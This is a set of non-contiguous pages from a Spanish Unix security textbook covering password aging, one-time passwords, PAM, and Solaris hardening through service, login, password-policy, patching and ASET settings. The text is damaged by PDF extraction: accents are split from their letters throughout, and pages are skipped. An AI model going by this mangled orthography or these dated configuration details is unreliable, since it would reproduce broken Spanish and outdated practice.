Tabla 8.2: C´digos de caracteres para el envejecimiento de contrase˜as.
o n
que el usuario no puede cambiar su contrase˜a es mayor que el n´mero de d´ tras los cuales es
n u ıas
obligatorio el cambio, el usuario no puede cambiar nunca su clave. Si tras el periodo de cambio
obligatorio el password permanece inalterado, la cuenta se bloquea.
En los sistemas Unix m´s antiguos (hasta System V Release 3.2), sin shadow password, toda la
a
informaci´n de envejecimiento se almacena en /etc/passwd, junto al campo correspondiente a la
o
clave cifrada de cada usuario pero separada de ´ste por una coma:
e
root:cp5zOHITeZLWM,A.B8:0:0:El Spiritu Santo,,,:/root:/bin/bash
En este caso el primer car´cter tras la coma es el n´mero m´ximo de semanas antes de que el
a u a
password expire; el siguiente car´cter es el n´mero m´
a u ınimo de semanas antes de que el usuario pueda
cambiar su clave, y el tercer y cuarto car´cter indican el tiempo transcurrido desde el 1 de enero de
a
1970 hasta el ultimo cambio de contrase˜a. Todos estos tiempos se indican mediante determinados
´ n
caracteres con un significado especial, mostrados en la tabla 8.2. Tambi´n se contemplan en este
e
esquema tres casos especiales: si los dos primeros caracteres son ‘..’ el usuario ser´ obligado a
a
cambiar su clave la siguiente vez que conecte al sistema; el programa passwd modificar´ entonces
a
su entrada en el archivo para que el usuario no se vuelva a ver afectado por el envejecimiento. Otro
caso especial ocurre cuando los dos ultimos caracteres tambi´n son ‘..’, situaci´n en la cual el
´ e o
usuario igualmente se ver´ obligado a cambiar su clave la pr´xima vez que conecte al sistema pero
a o
el envejecimiento seguir´ definido por los dos primeros caracteres. Por ultimo, si el primer car´cter
a ´ a
tras la coma es menor que el siguiente, el usuario no puede cambiar su password nunca, y s´lo puede
o
ser modificado a trav´s de la cuenta root.
e
Claves de un solo uso
El envejecimiento de contrase˜as tiene dos casos extremos. Por un lado, tenemos el esquema cl´sico:
n a
una clave es v´lida hasta que el usuario voluntariamente decida cambiarla (es decir, no hay caduci-
a
dad de la contrase˜a). El extremo contrario del Aging Password es otorgar un tiempo de vida
n
m´ınimo a cada clave, de forma que s´lo sirva para una conexi´n: es lo que se denomina clave de un
o o
solo uso, One Time Password ([Lam81]).
¿C´mo utilizar contrase˜as de un s´lo uso? Para conseguirlo existen diferentes aproximaciones;
o n o
la m´s simplista consiste en asignar al usuario una lista en papel con la secuencia de claves a uti-
a
lizar, de forma que cada vez que ´ste conecte al sistema elimina de la lista la contrase˜a que acaba
e n
de utilizar. Por su parte, el sistema avanza en su registro para que la pr´xima vez que el usuario
o
conecte pueda utilizar la siguiente clave. Otra aproximaci´n consiste en utilizar un peque˜o dispos-
o n
itivo que el usuario debe llevar consigo, como una tarjeta o una calculadora especial, de forma que
cuando desee conectar el sistema le indicar´ una secuencia de caracteres a teclear en tal dispositivo;
a
el resultado obtenido ser´ lo que se ha de utilizar como password. Para incrementar la seguridad
a
ante un robo de la tarjeta, antes de teclear el n´mero recibido desde la m´quina suele ser necesario
u a
utilizar un P.I.N. que el usuario debe mantener en secreto ([GS96]).
Una de las implementaciones del One Time Password m´s extendida entre los diferentes clones
a](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-150-320.jpg)
![8.6. PAM 133
de Unix es s/key ([Hal94]), disponible tambi´n para clientes Windows y MacOS. Utilizando este
e
software, la clave de los usuarios no viaja nunca por la red, ni siquiera al ejecutar ´rdenes como su
o
o passwd, ni tampoco se almacena informaci´n comprometedora (como las claves en claro) en la
o
m´quina servidora. Cuando el cliente desea conectar contra un sistema genera una contrase˜a de
a n
un solo uso, que se verifica en el servidor; en ambas tareas se utilizan las funciones resumen md4
([Riv90]) o md5 ([Riv92]). Para realizar la autenticaci´n, la m´quina servidora guarda una copia
o a
del password que recibe del cliente y le aplica la funci´n resumen; si el resultado no coincide con la
o
copia guardada en el fichero de contrase˜as, se deniega el acceso. Si por el contrario la verificaci´n
n o
es correcta se actualiza la entrada del usuario en el archivo de claves con el one time password que
se ha recibido (antes de aplicarle la funci´n), avanzando as´ en la secuencia de contrase˜as. Este
o ı n
avance decrementa en uno el n´mero de iteraciones de la funci´n ejecutadas, por lo que ha de llegar
u o
un momento en el que el usuario debe reiniciar el contador o en caso contrario se le negar´ el acceso
a
al sistema; para ello ejecuta una versi´n modificada de la orden passwd.
o
Otros m´todos
e
Algo por lo que se ha criticado el esquema de autenticaci´n de usuarios de Unix es la longitud
o
– para prop´sitos de alta seguridad, demasiado corta – de sus claves; lo que hace a˜os era poco
o n
m´s que un planteamiento te´rico ([DH77]), actualmente es algo factible: sin ni siquiera entrar en
a o
temas de hardware dedicado, seguramente demasiado caro para la mayor´ de atacantes, con un
ıa
supercomputador es posible romper claves de Unix en menos de dos d´ ([KI99]).
ıas
Un m´todo que aumenta la seguridad de nuestras claves frente a ataques de intrusos es el cifrado
e
mediante la funci´n conocida como bigcrypt() o crypt16(), que permite longitudes para las claves
o
y los salts m´s largas que crypt(3); sin embargo, aunque se aumenta la seguridad de las claves, el
a
problema que se presenta aqu´ es la incompatibilidad con las claves del resto de Unices que sigan
ı
utilizando crypt(3); este es un problema com´n con otras aproximaciones ([Man96], [KI99]. . . )
u
que tambi´n se basan en modificar el algoritmo de cifrado, cuando no en utilizar uno nuevo.
e
8.6 PAM
PAM (Pluggable Authentication Module) no es un modelo de autenticaci´n en s´ sino que se trata de
o ı,
un mecanismo que proporciona una interfaz entre las aplicaciones de usuario y diferentes m´todos
e
de autenticaci´n, trantado de esta forma de solucionar uno de los problemas cl´sicos de la auten-
o a
ticaci´n de usuarios: el hecho de que una vez que se ha definido e implantado cierto mecanismo
o
en un entorno, es dif´ cambiarlo. Mediante PAM podemos comunicar a nuestra aplicaciones con
ıcil
los m´todos de autenticaci´n que deseemos de una forma transparente, lo que permite integrar las
e o
utilidades de un sistema Unix cl´sico (login, ftp, telnet. . . ) con esquemas diferentes del habitual
a
password: claves de un solo uso, biom´tricos, tarjetas inteligentes. . .
e
PAM viene ‘de serie’ en diferentes sistemas Unix, tanto libres como comerciales (Solaris, FreeBSD,
casi todas las distribuciones de Linux. . . ), y el nivel de abstracci´n que proporciona permite cosas
o
tan interesantes como kerberizar nuestra autenticaci´n (al menos la parte servidora) sin m´s que
o a
cambiar la configuraci´n de PAM, que se encuentra bien en el fichero /etc/pam.conf o bien en
o
diferentes archivos dentro del directorio /etc/pam.d/; en el primero de los dos casos, por ejemplo
en Solaris, el fichero de configuraci´n de PAM est´ formado por l´
o a ıneas de la siguiente forma:
servicio tipo control ruta m´dulo argumentos m´dulo
o o
El campo ‘servicio’ indica obviamente el nombre del servicio sobre el que se va a aplicar la
autenticaci´n (ftp, telnet, dtlogin, passwd. . . ), y el campo ‘tipo’ define el tipo de servicio
o
sobre el que se aplica el m´dulo; PAM define cuatro posibles valores para este campo ([Her00]):
o
• account
Determina si el usuario est´ autorizado a acceder al servicio indicado, por ejemplo si su clave
a
ha caducado, si el acceso se produce desde una l´ ınea determinada o si se supera el n´mero
u
m´ximo de conexiones simult´neas.
a a](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-151-320.jpg)
![Cap´
ıtulo 9
Solaris
9.1 Introducci´n
o
Solaris es el nombre del actual entorno de trabajo Unix desarrollado por Sun Microsystems; con
anterioridad esta compa˜´ ofrec´ SunOS, un sistema basado en bsd, pero a partir de su versi´n 5
nıa ıa o
el sistema fu´ completamente revisado, adopt´ el modelo System V y se pas´ a denominar Solaris,
e o o
que es como se conoce actualmente1 . Hasta la versi´n 6, el producto era conocido como ‘Solaris
o
2.x’ – equivalentemente, ‘SunOS 5.x’ –, pero desde su versi´n 7 se elimin´ el ‘2.x’ y simplemente
o o
se pas´ a llamar ‘Solaris x’, aunque se sigue manteniendo el nombre ‘SunOS 5.x’; en la actualidad,
o
Sun Microsystems ofrece Solaris 8, y se espera que en 2001 aparezca en el mercado Solaris 9.
Solaris es uno de los Unix m´s extendidos hoy en d´ ya que sus posibilidades comprenden un
a ıa,
abanico muy amplio; aunque funciona sobre arquitecturas x86 (lo que permite que cualquiera pue-
da instalar y utilizar el operativo en un PC casero), el principal mercado de Solaris est´ en las
a
estaciones y los servidores sparc (Scalable Processor ARChitecture). Dentro de esta familia de
procesadores podemos encontrar todo tipo de m´quinas, desde estaciones que pueden ser equiva-
a
lentes en potencia a un PC (como la Ultrasparc 5) a grandes servidores (por ejemplo, los Ultra
Enterprise 10000), pasando por supuesto por servidores medios, como los Ultra Enterprise 3500;
esta amplia gama de m´quinas hace que Solaris se utilice en todo tipo de aplicaciones, desde equipos
a
de sobremesa o servidores web sencillos hasta sistemas de bases de datos de alta disponibilidad. Su
uso como plataforma de aplicaciones relacionadas con la seguridad (t´ıpicamente, sistemas cortafue-
gos funcionando con Firewall–1) tambi´n est´ muy extendido.
e a
Para conocer m´s el entorno de trabajo Solaris podemos descargar las im´genes del operativo, tanto
a a
para arquitecturas sparc como para x86, y de forma completamente gratuita, desde la web corpo-
rativa de Sun Microsystems: http://www.sun.com/. Tambi´n podemos obtener documentaci´n de
e o
casi cualquier tema relacionado con Solaris en la direcci´n http://docs.sun.com/, o consultar los
o
BluePrints que la compa˜´ publica peri´dicamente en http://www.sun.com/blueprints/. Exis-
nıa o
ten adem´s numerosas publicaciones relacionadas con diversos aspectos de Solaris: por ejemplo, de
a
su seguridad se habla en [Gre99], y de su dise˜o interno en [MM00]; sus aspectos gen´ricos de uso
n e
o administraci´n se pueden consultar en cualquier libro de Unix, aunque en muchas ocasiones uno
o
se pregunta si vale la pena realmente comprar algunos libros cuando en Internet tenemos a nuestra
disposici´n cientos y cientos de hojas de magn´
o ıfica documentaci´n sobre Solaris.
o
Tal y como se instala por defecto, Solaris – como la mayor´ de operativos – no es un sistema
ıa
especialmente seguro; es necesario dedicar un m´ ınimo de tiempo a retocar y personalizar algunos
aspectos de su configuraci´n: tras estos peque˜os detalles, un servidor puede pasar a trabajar di-
o n
rectamente en explotaci´n con un nivel de seguridad m´s que aceptable. En este cap´
o a ıtulo vamos
a hablar de aspectos de configuraci´n, de software, de procedimientos de trabajo. . . aplicables en
o
Solaris; aunque evidentemente los aspectos de los que hemos venido hablando durante todo el tra-
bajo se pueden – y deben – aplicar en este sistema operativo, aqu´ entraremos algo m´s a fondo en
ı a
1 Realmente, existi´ un entorno llamado Solaris 1.x, que no era m´s que alguna versi´n de SunOS 4 acompa˜ ada
o a o n
de OpenWindows 3.0 ([Dik99]).](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-157-320.jpg)
![142 CAP´
ITULO 9. SOLARIS
los valores de ciertos par´metros si la ejecutamos, unicamente se trata de una simulaci´n llevada
a ´ o
a cabo en un fichero de texto denominado ‘bootenv.rc’. Es posible dar valor a las variables que
hemos visto, pero no tienen ning´n efecto en m´quinas Intel ya que estas se suelen proteger en el
u a
arranque mediante contrase˜as en la BIOS, como veremos al hablar de Linux.
n
9.3 Servicios de red
Probablemente el primer aspecto relacionado con la seguridad al que debemos prestar atenci´n o
en un sistema Solaris es a los servicios ofrecidos desde inetd; con la instalaci´n out of the box el
o
n´mero de puertos a la escucha es realmente elevado, y muchos de ellos son servidos desde inetd
u
(despu´s hablaremos de los servicios que se inician al arrancar el sistema). Aparte de los servicios
e
cl´sicos (telnet, finger. . . ) que – como en el resto de Unices – es imprescindible deshabilitar, en
a
Solaris encontramos algunas entradas de /etc/inetd.conf algo m´s extra˜as, que en muchos casos
a n
no sabemos si podemos eliminar (o comentar) si que ello afecte al funcionamiento de la m´quina:
a
se trata de ciertos servicios basados en rpc, como cmsd o sprayd. En casi todos los servidores
podemos deshabilitar estos servicios sin mayores problemas, pero evidentemente tomando ciertas
precauciones: es necesario conocer cu´l es la funci´n y las implicaciones de seguridad de cada uno
a o
de ellos; en [Fly00a] (especialmente en la segunda parte del art´
ıculo) se puede encontrar una refer-
encia r´pida de la funci´n de algunos de estos servicios ‘extra˜os’, as´ como notas con respecto a
a o n ı
su seguridad.
Realmente, de todos los servicios ofrecidos por inetd ninguno es estrictamente necesario, aunque
por supuesto alguno de ellos nos puede resultar muy util: lo normal es que al menos telnet y ftp
´
se dejen abiertos para efectuar administraci´n remota. No obstante, algo muy recomendable es
o
sustituir ambos por ssh, que permite tanto la terminal remota como la transferencia de archivos
de forma cifrada; si nos limitamos a este servicio y lo ofrecemos desde inetd, esta ser´ la unica
a ´
entrada no comentada en /etc/inetd.conf:
anita:/# grep -v ^# /etc/inetd.conf
ssh stream tcp nowait root /usr/local/sbin/sshd sshd -i
anita:/#
Otros de los servicios que Solaris ofrece tras su instalaci´n son servidos por demonios independien-
o
tes que se lanzan en el arranque del sistema desde scripts situados en /etc/init.d/ y enlazados
desde /etc/rc2.d/ y /etc/rc3.d/; al igual que suced´ con los servidos desde inetd, muchos de
ıa
estos servicios no son necesarios para un correcto funcionamiento del sistema, y algunos de ellos
hist´ricamente han presentado – y siguen presentando – graves problemas de seguridad. No vamos
o
a entrar aqu´ en cu´les de estos servicios son necesarios y cu´les no, ya que eso depende por com-
ı a a
pleto del tipo de sistema sobre el que estemos trabajando; es necesario conocer las implicaciones de
seguridad que algunos de los demonios lanzados en el arranque presentan, y para ello una buena
introducci´n es [Fly00b].
o
Al arrancar una m´quina Solaris, por defecto el proceso init situa al sistema en su runlevel 3, lo
a
cual implica que – entre otras acciones – se invoca a /sbin/rc2 y /sbin/rc3; estos dos shellscripts
se encargan de recorrer los directorios /etc/rc2.d/ y /etc/rc3.d/, ejecutando cualquier fichero
cuyo nombre comience por ‘S’. De esta forma, para evitar que un determinado script se ejecute
autom´ticamente al arrancar una m´quina lo m´s recomendable es ir directamente a /etc/rc2.d/
a a a
o /etc/rc3.d/ y sustituir la ‘S’ inicial de su nombre por otro car´cter; esta pr´ctica suele ser
a a
m´s habitual que eliminar el fichero directamente, ya que as´ conseguimos que si es necesario lanzar
a ı
de nuevo el script al arrancar Solaris no tengamos m´s que cambiarle de nuevo el nombre. Por
a
ejemplo, si queremos que el demonio sendmail no se lance en el arranque, no tenemos m´s que ir al
a
directorio correspondiente y renombrar el script que lo invoca; aparte de eso, es probable que nos
interese detenerlo en ese momento, sin esperar al pr´ximo reinicio del sistema:
o
anita:/# cd /etc/rc2.d/
anita:/etc/rc2.d# mv S88sendmail disabled.S88sendmail
anita:/etc/rc2.d# ./disabled.S88sendmail stop
anita:/etc/rc2.d#](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-160-320.jpg)
![144 CAP´
ITULO 9. SOLARIS
anita:/# passwd -s -a|grep NP
prueba NP
anita:/# passwd -l prueba
anita:/#
Tras estas medidas de seguridad iniciales, lo m´s probable es que en nuestro sistema comencemos
a
a dar de alta usuarios reales; sin duda, lo primero que estos usuarios tratar´n de hacer es conectar
a
remotamente v´ telnet:
ıa
rosita:~$ telnet anita
Trying 192.168.0.3...
Connected to anita.
Escape character is ’^]’.
SunOS 5.8
login: toni
Password:
Last login: Fri Jun 22 10:45:14 from luisa
anita:~$
A estas alturas ya debemos saber que es una locura utilizar telnet para nuestras conexiones
remotas por el peligro que implica el tr´fico de contrase˜as en texto claro, por lo que debemos
a n
obligatoriamente utilizar ssh o similar. Si de cualquier forma no tenemos m´s remedio que
a
permitir telnet (no encuentro ning´n motivo para ello, y personalmente dudo que los haya. . . ),
u
quiz´s nos interese modificar el banner de bienvenida al sistema, donde se muestra claramente que la
a
m´quina tiene instalada una versi´n concreta de Solaris: esto es algo que puede ayudar a un pirata
a o
que busque informaci´n de nuestro sistema. Para cambiar el mensaje podemos crear el archivo
o
/etc/default/telnetd, en el que la entrada ‘banner’ especifica dicho mensaje:
anita:/# cat /etc/default/telnetd
BANNER="nHP-UX anita A.09.05 E 9000/735 (ttyv4)nn"
anita:/# telnet 0
Trying 0.0.0.0...
Connected to 0.
Escape character is ’^]’.
HP-UX anita A.09.05 E 9000/735 (ttyv4)
login:
Algo similar se puede hacer con el fichero /etc/default/ftpd para el servicio de ftp, aunque de
nuevo dudo que haya alg´n motivo para mantenerlo abierto; estos mensajes evidentemente no van
u
a evitar que alguien pueda obtener datos sobre el sistema operativo que se ejecuta en una m´quina
a
(veremos al hablar del sistema de red en Solaris como conseguir esto), pero al menos no le dejar´n
a
esa informaci´n en bandeja.
o
Siguiendo con las conexiones remotas a un sistema, uno de los aspectos que nos puede llamar la
atenci´n si estamos comenzando a trabajar con Solaris es que el usuario root s´lo puede conectar
o o
desde la propia consola de la m´quina; si lo intenta de forma remota, se le negar´ el acceso:
a a
luisa:~$ telnet anita
Trying 192.168.0.3...
Connected to anita.
Escape character is ’^]’.
login: root](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-162-320.jpg)
![9.4. USUARIOS Y ACCESOS AL SISTEMA 145
Password:
Not on system console
Connection closed by foreign host.
luisa:~$
Esto es debido a que el par´metro ‘console’ tiene como valor dicha consola (/dev/console) en
a
el fichero /etc/default/login; para trabajar como superusuario de forma remota es necesario
acceder al sistema como un usuario sin privilegios y despu´s ejecutar el comando su. Esta forma
e
de trabajo suele ser la m´s recomendable, ya que ofrece un equilibrio aceptable entre seguridad
a
y funcionalidad; no obstante, si nos interesara que root pudiera conectar directamente de forma
remota (no suele ser recomendable), podr´ıamos comentar la entrada ‘console’ en el fichero anterior,
mediante una almohadilla (‘#’). Si por el contrario queremos que el administrador no pueda
conectar al sistema ni desde la propia consola, y s´lo se puedan alcanzar privilegios de superusuario
o
mediante la ejecuci´n de su, podemos dejar la entrada correspondiente a ‘console’ en blanco:
o
anita:/# grep -i console /etc/default/login
# If CONSOLE is set, root can only login on that device.
CONSOLE=
anita:/#
En el fichero anterior (/etc/default/login) existen otros par´metros interesantes de cara a in-
a
crementar nuestra seguridad. Por ejemplo, el par´metro ‘timeout’ indica el n´mero de segundos
a u
(entre 0 y 900) que han de pasar desde que la m´quina solicita el login al conectar remotamente
a
hasta que se cierra la conexi´n si el usuario no lo teclea; esto nos puede ayudar a evitar ciertos
o
ataques de negaci´n de servicio, pero puede ser un problema si tenemos usuarios que conecten a
o
trav´s de l´
e ıneas de comunicaci´n lentas o muy saturadas, ya que con un timeout excesivamente
o
bajo es posible que antes de que el usuario vea en su terminal el banner que le solicita su login la
conexi´n llegue a cerrarse.
o
Relacionada en cierta forma con el par´metro anterior, y tambi´n dentro del archivo
a e
/etc/default/login, la entrada ‘sleeptime’ permite indicar el n´mero de segundos – entre 0 y 5
u
– que han de transcurrir desde que se teclea una contrase˜a err´nea y el mensaje login incorrect
n o
aparece en pantalla. Con ‘retries’ podemos especificar el n´mero de intentos de entrada al sis-
u
tema que se pueden producir hasta que un proceso de login finalice y la conexi´n remota asociada
o
se cierre: en otras palabras, indicamos el n´mero de veces que un usuario puede equivocarse al
u
teclear su clave antes de que el sistema cierre su conexi´n.
o
Otra directiva interesante de /etc/default/login es ‘passreq’: si su valor es ‘yes’, ning´n u
usuario podr´ conectar al sistema sin contrase˜a, y si es ‘no’, s´ que se permiten este tipo de en-
a n ı
tradas. Evidentemente, el valor recomendable es el primero, aunque el incremento que conseguimos
en nuestra seguridad no es excesivo y s´lo se puede encontrar util en circunstancias muy concretas,
o ´
ya que a los usuarios que no tengan contrase˜a simplemente se les obligar´ a elegir un password al
n a
intentar entrar al sistema:
anita:~$ telnet 0
Trying 0.0.0.0...
Connected to 0.
Escape character is ’^]’.
login: prueba
Choose a new password.
New password:
Si realmente queremos asegurarnos de que no tenemos usuarios sin clave podemos ejecutar pe-
ri´dicamente la orden ‘logins -p’, que nos mostrar´ los informaci´n acerca de los usuarios sin
o a o
contrase˜a en la m´quina; si su salida es no vac´ tenemos un grave problema de seguridad:
n a ıa,
anita:/# logins -p
prueba 107 staff 10 Usuari en proves](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-163-320.jpg)
![146 CAP´
ITULO 9. SOLARIS
anita:/# passwd prueba
New password:
Re-enter new password:
passwd (SYSTEM): passwd successfully changed for prueba
anita:/# logins -p
anita:/#
Para finalizar con /etc/default/login, vamos a hablar de un par de entradas en el fichero rela-
cionadas con la auditor´ de los accesos al sistema: el par´metro ‘syslog’ con un valor ‘yes’
ıa a
determina si se han de registrar mediante syslog los accesos al sistema como root, as´ como los
ı
intentos de login fallidos, y el par´metro ‘syslog failed logins’ indica el n´mero de intentos de
a u
entrada fallidos que se han de producir antes de emitir un mensaje de error; es recomendable que
esta segunda variable tenga un valor ‘0’, que implica que syslog registrar´ todos los intentos
a
fallidos de login:
anita:/# grep -i ^syslog /etc/default/login
SYSLOG=YES
SYSLOG_FAILED_LOGINS=0
anita:/#
Otro archivo interesante de cara a incrementar aspectos de la seguridad relacionados con los u-
suarios de nuestro sistema es /etc/default/passwd, donde se pueden definir par´metros para
a
reforzar nuestra pol´
ıtica de contrase˜as; por ejemplo, podemos definir una longitud m´
n ınima para
los passwords de los usuarios d´ndole un valor a la variable ‘passlength’:
a
anita:/# grep -i passlength /etc/default/passwd
PASSLENGTH=8
anita:/#
Por defecto, la longitud m´ınima de una clave es de seis caracteres; si le asignamos a ‘passlength’
un valor menor (algo poco recomendable de cualquier forma), el sistema simplemente lo ignorar´ a
y obligar´ a los usuarios a utilizar passwords de seis o m´s caracteres. Adem´s, sea cual sea la
a a a
longitud de las claves que definamos, debemos tener siempre en cuenta que Solaris s´lo interpetar´
o a
los ocho primeros caracteres de cada contrase˜a; el resto son ignorados, por lo que dos pass-
n
words cuyos ocho primeros caracteres sean iguales ser´n equivalentes por completo para el modelo
a
de autenticaci´n.
o
Una contrase˜a en Solaris debe poseer al menos dos letras (may´sculas o min´sculas) y al menos
n u u
un n´mero o car´cter especial. Tampoco debe coincidir con el nombre de usuario, ni con rotaciones
u a
del mismo (por ejemplo el usuario ‘antonio’ no podr´ utilizar como clave ‘antonio’, ‘ntonioa’,
a
‘oinotna’, etc.), y debe diferir del password anterior en al menos tres caracteres; para cualquiera
de estos efectos comparativos, las letras may´sculas y las min´sculas son equivalentes. S´lo el root
u u o
puede adjudicar contrase˜as que no cumplan las normas establecidas, pero a efectos de seguridad
n
es recomendable que las claves que asigne tengan tantas restricciones como las que pueden escojer
los usuarios (o m´s).
a
Volviendo de nuevo a /etc/default/passwd, dentro de este archivo tenemos un par de entradas
utiles para establecer una pol´
´ ıtica de envejecimiento de claves en nuestro sistema; se trata de
‘maxweeks’ y ‘minweeks’, que como sus nombres indican definen los tiempos de vida m´ximo ya
m´ınimo (en semanas) de una contrase˜a. Un tercer par´metro, ‘warnweeks’, define el periodo de
n a
tiempo (de nuevo, en semanas) a partir del cual se avisar´ a un usuario de que su password est´ a
a a
punto de caducar; dicho aviso se produce cuando el usuario inicia una sesi´n:
o
rosita:~$ telnet anita
Trying 192.168.0.3...
Connected to anita.
Escape character is ’^]’.
login: toni](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-164-320.jpg)
![9.5. EL SISTEMA DE PARCHEADO 147
Password:
Your password will expire in 5 days.
Last login: Sun Jun 24 03:10:49 from rosita
anita:~$
Como no todo va a ser hablar bien de Unix a cualquier precio (aunque Solaris tiene muchos aspectos
para hablar bien del operativo), podemos hacer un par de cr´ ıticas a mecanismos relacionados con
las contrase˜as en Solaris. En primer lugar, quiz´s deja algo que desear la granularidad que nos
n a
ofrece para el envejecimiento de claves: especificar los valores m´ximo y m´
a ınimo en semanas a veces
no es apropiado, y seguramente si Solaris nos permitiera indicar dichos valores en d´ podr´
ıas ıamos
definir pol´ıticas m´s precisas; aunque en la mayor´ de ocasiones la especificaci´n en semanas es
a ıa o
m´s que suficiente, en casos concretos se echa de menos el poder indicar los d´ de vigencia de una
a ıas
contrase˜a. Otro aspecto que se podr´ mejorar en Solaris es la robustez de las claves: limitarse a
n ıa
rotaciones del nombre de usuario es en la actualidad algo pobre; un esquema como el ofrecido en
AIX, donde se pueden especificar incluso diccionarios externos al operativo contra los que comparar
las claves que un usuario elige, ser´ mucho m´s potente.
ıa a
Contra el primero de estos comentarios quiz´s se podr´ decir, en defensa de Solaris, que real-
a ıa
mente en /etc/shadow podemos especificar d´ en lugar de semanas, pero eso implicar´ modificar
ıas ıa
el archivo a mano para cada usuario, algo que no suele ser recomendable en ning´n sistema Unix,
u
o bien ejecutar /usr/bin/passwd con las opciones apropiadas, de nuevo para todos los usuarios
en cuesti´n. Contra el segundo tambi´n se podr´ argumentar que existen utilidades de terceros
o e ıa
para reforzar las contrase˜as que eligen los usuarios, o bien que no es dif´ escribir un m´dulo de
n ıcil o
pam para evitar que esos usuarios elijan claves triviales, pero el hecho es que Sun Microsystems por
defecto no incorpora ninguno de estos mecanismos en Solaris.
9.5 El sistema de parcheado
Como en el resto de Unices, en Solaris un parche se define como un grupo de ficheros y directorios
que reemplaza o actualiza ficheros y directorios existentes en el sistema para tratar de garantizar
la ejecuci´n correcta del software ([Mic98]); con la instalaci´n de parches aumentamos – al menos
o o
te´ricamente – la seguridad y la disponibilidad de un sistema, y es muy recomendable seguir una
o
pol´ıtica de parcheado estricta, al menos en cuanto a parches de seguridad se refiere.
Sun Microsystems distribuye entre sus clientes con contrato de mantenimiento los parches para
Solaris y el resto de sus productos v´ CD-ROM cada pocas semanas, pero – mucho m´s r´pido
ıa a a
–, tambi´n los ofrece a trav´s de Internet, desde http://sunsolve.sun.com/; aunque el acceso a
e e
ciertos parches est´ restringido a clientes con contrato, los relativos a la seguridad de los sistemas
a
y los recomendados son completamente p´blicos.
u
Desde Sun Microsystems, cada parche es referenciado mediante un dos n´meros: un ‘patch id’,
u
que es el realmente el identificador del parche, y un n´mero de revisi´n del parche, separados
u o
ambos por un gui´n; de esta forma cuando descargamos un parche desde SunSolve y lo descom-
o
primimos, o cuando lo recibimos en un CD-ROM, dicho parche estar´ contenido en un directorio
a
cuyo nombre es justamente esa referencia:
anita:/var/tmp# ls 110899-01/
README.110899-01 SUNWcsu
anita:/var/tmp#
Dentro del directorio anterior encontraremos generalmente un fichero donde se nos explica la utili-
dad del parche, los problemas que soluciona y la forma de aplicarlo; adem´s, existir´n una serie de
a a
subdirectorios cuyos nombres son los paquetes de software a los que ese parche afecta directamente
(es decir, de los que sustituye o actualiza directorios o archivos). Como podemos ver, en el ejemplo
anterior s´lo encontramos uno de estos subdirectorios, SUNWcsu, lo que indica que el parche s´lo
o o
afectar´ a ficheros de ese paquete. A su vez, dentro de cada uno de los directorios que diferencian
a
paquetes software encontramos m´s archivos y subdirectorios que contienen realmente las versiones
a
actualizadas de programas, as´ como ´rdenes post–instalaci´n, descripci´n del software actualizado,
ı o o o](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-165-320.jpg)
![150 CAP´
ITULO 9. SOLARIS
aplicaciones pueden dejar de funcionar si utilizamos este nivel de seguridad.
Podemos invocar a /usr/aset/aset indic´ndole mediante el par´metro ‘-l’ el nivel de seguri-
a a
dad deseado:
anita:/# /usr/aset/aset -l low
======= ASET Execution Log =======
ASET running at security level low
Machine = anita; Current time = 0628_03:11
aset: Using /usr/aset as working directory
Executing task list ...
firewall
env
sysconf
usrgrp
tune
cklist
eeprom
All tasks executed. Some background tasks may still be running.
Run /usr/aset/util/taskstat to check their status:
/usr/aset/util/taskstat [aset_dir]
where aset_dir is ASET’s operating directory,currently=/usr/aset.
When the tasks complete, the reports can be found in:
/usr/aset/reports/latest/*.rpt
You can view them by:
more /usr/aset/reports/latest/*.rpt
anita:/#
La orden anterior habr´ generado un directorio de informes cuyo nombre hace referencia a la fecha
a
y hora de ejecuci´n, y que al ser el ultimo se enlaza tambi´n con el nombre latest; todos los
o ´ e
reports generados por aset tienen extensi´n ‘.rpt’ (son simples ficheros ascii), y se guardan en
o
/usr/aset/reports/. Cada uno de ellos contiene el informe de las potenciales vulnerabilidades que
aset ha encontrado durante su ejecuci´n, as´ como de los cambios que haya realizado en funci´n
o ı o
del nivel de seguridad especificado. Como aset indica, el hecho de que la ejecuci´n del comando
o
haya finalizado no implica que los informes se hayan realizado completamente; podemos ejecutar
/usr/aset/util/taskstat para ver que tareas no han finalizado a´n. u
Adem´s de los informes de los que acabamos de hablar, la primera ejecuci´n de aset genera una
a o
serie de archivos en el directorio /usr/aset/master/: en ellos se guarda una imagen del estado que
la herramienta ha encontrado en el sistema, de forma que una ejecuci´n posterior del programa –
o
dentro del mismo nivel de seguridad – puede comprobar qu´ par´metros han cambiado en cada uno
e a
de los ficheros analizados; evidentemente, es vital para nuestra seguridad evitar que un atacante
pueda modificar esta imagen, ya que de lo contrario podr´ ‘enga˜ar’ sin problemas a ‘aset’. Por
ıa n
ejemplo, al ejecutar ‘/usr/aset/aset’ con un nivel de seguridad ‘low’ se ha guardado en esa ima-
gen cierta informaci´n sobre un fichero importante como /etc/inittab (en /usr/aset/asetenv
o
se define la lista de directorios de los que se guarda una imagen en cada nivel de seguridad); parte
de esta informaci´n se encuentra en /usr/aset/masters/cklist.low:
o
anita:/usr/aset/masters# grep inittab cklist.low
-rw-r--r-- 1 root sys 1087 Jan 5 23:38 2000 /etc/inittab 26732 3
anita:/usr/aset/masters#](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-168-320.jpg)
![9.6. EXTENSIONES DE LA SEGURIDAD 151
Podemos ver que los par´metros registrados de este archivo: propietario y grupo, permisos, n´mero
a u
de enlaces, tama˜o, fecha y hora de la ultima modificaci´n y un checksum. Si ahora un atacante
n ´ o
decidiera modificar ese fichero (por ejemplo para situar un troyano en ´l) casi con total seguridad
e
modificar´ alguno de esos par´metros, por lo que la siguiente ejecuci´n de la herramienta reportar´
ıa a o ıa
